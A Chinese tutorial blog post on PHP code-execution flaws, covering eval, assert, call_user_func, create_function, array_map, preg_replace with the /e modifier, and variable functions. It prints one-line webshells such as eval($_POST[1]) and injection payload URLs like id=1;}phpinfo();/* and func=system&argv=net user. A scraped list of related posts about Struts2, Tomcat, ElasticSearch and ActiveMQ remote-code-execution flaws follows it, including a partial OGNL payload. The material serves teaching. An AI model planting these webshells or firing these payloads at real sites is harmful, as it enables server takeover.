PHP代码执行漏洞

前言

最近的日子简简单单 早上起来健身+散打来一套 看看电视剧学习学习吃吃饭一天就结束了emmmm太快了一天 所以要更加努力!更加勤奋!

有的应用程序中提供了一些可以将字符串作为代码执行的函数,例如PHP中的eval函数,可以将改函数的参数当做PHP代码来执行。如果对这些函数的参数控制不严格,就可能会被攻击者利用,执行恶意代码

1. eval函数

eval函数把字符串作为PHP代码执行

<?php eval("$_POST[1]")?>

2. assert函数

assert函数检查一个断言是否为FALSE

<?php assert($_POST[1])?>

3.call_user_func函数

call_user_func函数把第一个参数作为回调函数调用

函数语法:mixed call_user_func ( callable $callback , array $param_arr )

第一个参数callback是被调用的回调函数,其余参数是回调函数的参数

<?php call_user_func($_POST[‘fun‘],$_POST[‘arg‘])?>

此代码为一句话木马的变形代码,通过POST型fun参数调用了system函数,通过POST型arg参数传入net user命令,执行了system(‘net usert’),返回当前用户信息

4. call_user_fun_array函数

call_user_func_array函数把第一个参数作为毁掉函数调用,把参数参数函数组作为回调函数

函数语法:mixed call_user_func_array ( callable $callback , array $param_arr )

call_user_func_array函数把第一个参数作为回调,把参数数组作为回调函数的参数传入

<?php call_user_func_array($_POST[‘fun‘],$_POST[‘arg‘])?>

5.create_function函数

create_function函数根据传递的参数创建匿名函数,并为该匿名函数返回唯一的名称

函数语法:string create_function(string $arges , string $code)

示例代码:

<?php

$id=$_GET[‘id‘];

$code=‘echo‘.$func.‘test‘.$id.‘.‘;

create_function(‘$func‘,$code);

 ?>

create_function函数会创建虚拟函数转变成如下代码

<?php

$id=$_GET[‘id‘];
function func($func){
  echo "test".$id;

}

 ?>

当id传入1;}phpinfo();/*时 就可以造成代码执行

Payload: 

http://127.0.0.1/test.php?id=1;}phpinfo();/*

6. array_map函数

array_map函数为数组的每个元素应用回调函数

函数语法:array array_map(callable $callback,array $array[,array $array2…])

array_map函数返回为每个数组元素应用callback函数之后的数组。Callback函数形参的数量传给array_map函数的数组的数量必须相同

<?php
  $func=$_GET[‘func‘];
 $argv=$_GET[‘argv‘];
  $array[0]=$argv;
  array_map($func,$array);

 ?>

Payload: 

http://127.0.0.1/test.php?func=system&argv=net user

7.preg_replace函数

preg_replace函数执行一个正则表达式的搜索和替换

语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

<?php
$subject="hello hack";
$pattern=‘/hack/‘;
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject)
 ?>

Payload:

http://127.0.0.1/test.php?name=xiaohua

Preg_replace函数会将hack替换成xiaohua,输出hello xiaohua

Preg_replace函数存在模式修饰符,其中,修饰符e会让preg_replace函数替换后的字符串作为PHP代码去执行。

如果设置了这个被弃用的修饰符,preg_replace函数对替换字符串进行后向引用替换之后,将替换后的字符串作为PHP代码执行(以eval函数方式),并使用执行结果作为实际参与替换的字符串。单引号、双引号、反斜线(\)和null字符在后面向引用替换时会被自动加上反斜线转义。

<?php
$subject="hello hack";
$pattern=‘/hack/e‘;
$replacement=$_GET["name"];
echo preg_replace($pattern,$replacement,$subject)
 ?>

Payload: 

http://127.0.0.1/test.php?name=phpinfo()

PHP可变函数

Php支持可变函数的概念:如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它。这就意味着在PHP中可以把函数名通过字符串的方式传给一个变量,然后通过此变量动态地调用函数

<?php
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar(){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

 $func=‘foo‘;
 $func();
 $func=‘bar‘;
 $func(‘test‘);
 $func=‘echoit‘;
 $func(‘test‘)
 ?>

虽然PHP可变函数给开发人员带来了极大地便利,但同时也带来了极大地安全隐患,如果函数的名称可以被用户控制,而且没有做好过滤,就可能会造成恶意函数的执行。

Php可变函数漏洞示例代码:

<?php
 function foo(){
    echo "foo";
    echo "<br>";
 }

 function bar($arg=‘‘){
     echo "bar";
     echo "<br>";
 }

 function echoit($string){
  echo $string;
   echo "<br>";
 }

$func=$_REQUEST[‘func‘];
$string=$_REQUEST[‘string‘];
echo $func($string);

 ?>

参考学习:《web安全原理分析与实践》

原文地址:https://www.cnblogs.com/xhds/p/12255609.html

时间: 2024-11-09 01:43:42

PHP代码执行漏洞的相关文章

Office CVE-2017-8570远程代码执行漏洞复现

实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作. 实验内容 Office CVE-2017-8570 CVE-2017-8570漏

关于发布的CVE-2013-2251漏洞,strust远程代码执行漏洞

(*该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15) (*该博客仅仅只是记录我工作学习时遇到的问题,仅供参考!) (*如果,描述中可能存在错误,请多指教!) 在昨天在对我目前负责的那个项目进行日常维护的时候,系统被别人攻克,上传了一个.txt文件,他人可以直接访问这个项目下txt文件,就可以获取到txt文件内的内容. 首先,介绍下我目前维护的项目,使用的是strust2.1+hibernate3.0架构模式,也就是javaweb+SSH框架,不过为了简化,并没有添加sp

Android WebView远程代码执行漏洞简析

0x00 本文参考Android WebView 远程代码执行漏洞简析.代码地址为,https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.下面我们分析代码. 0x01 首先列出项目工程目录: MainActivity.java的代码如下: public class MainActivity extends Activity { private WebView webView; private Uri mUr

Apache ActiveMQ Fileserver远程代码执行漏洞

扫端口的时候遇到8161端口,输入admin/admin,成功登陆,之前就看到过相关文章,PUT了一句话上去,但是没有什么效果,于是本地搭建了一个环境,记录一下测试过程. 环境搭建: ActiveMQ 5.1.0 下载地址:http://activemq.apache.org/activemq-510-release.html 解压后,双击运行abtivemq.bat运行.(进入bin目录,根据自己的操作系统选择win32或win64,5.1.0只有win32目录) 访问8161端口: 漏洞利用

s2-048远程代码执行漏洞

在Struts 2.3.x 系列的 Showcase 应用中演示Struts2整合Struts 1 的插件中存在一处任意代码执行漏洞.当你的应用使用了Struts2 Struts1的插件时,可能导致不受信任的输入传入到ActionMessage类中导致命令执行. POC: name=%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)

ElasticSearch Groovy脚本远程代码执行漏洞

什么是ElasticSearch? 它是一种分布式的.实时性的.由JAVA开发的搜索和分析引擎. 2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行任意命令..."任意"你懂的,比如:利用nc反弹sh

ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析

原理 这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理. ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码. 而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码. 其实官方是清楚这个漏洞的,在文档里有说明: First, you should not run Elasticsearch as

Struts2再爆远程代码执行漏洞(S2-016)

Struts又爆远程代码执行漏洞了!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行.  描述 影响版本 Struts 2.0.0 - Struts 2.3.15 报告者 Takeshi Terada of Mitsui Bussan Secure Directions, Inc. CVE编号 CVE-2013-2251 漏洞证明 参数会以OGN

漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045)

近日,Apache官方发布Apache Struts 2.3.5–2.3.31版本及2.5–2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)的紧急漏洞公告.该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令. 漏洞危害 攻击者可在HTTP请求头部中的Content-Type字段构造恶意代码利用该漏洞,在受影响服务器上执行系统命令,进一步可完全控制该服务

Tomcat代码执行漏洞(CVE-2017-12615)的演绎及个人bypass

0x00 漏洞简介 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞. 漏洞CVE编号:CVE-2017-12615和CVE-2017-12616. 其中 远程代码执行漏洞(CVE-2017-12615) 影响: Apache Tomcat 7.0.0 - 7.0.79 漏洞触发条件: 1,tomcat得架设在windows主机上 2,将readonly由默认值true设置为false.(开启http PUT 方法) 攻击者将有可能可通过精心构造的攻击请求向服务器上传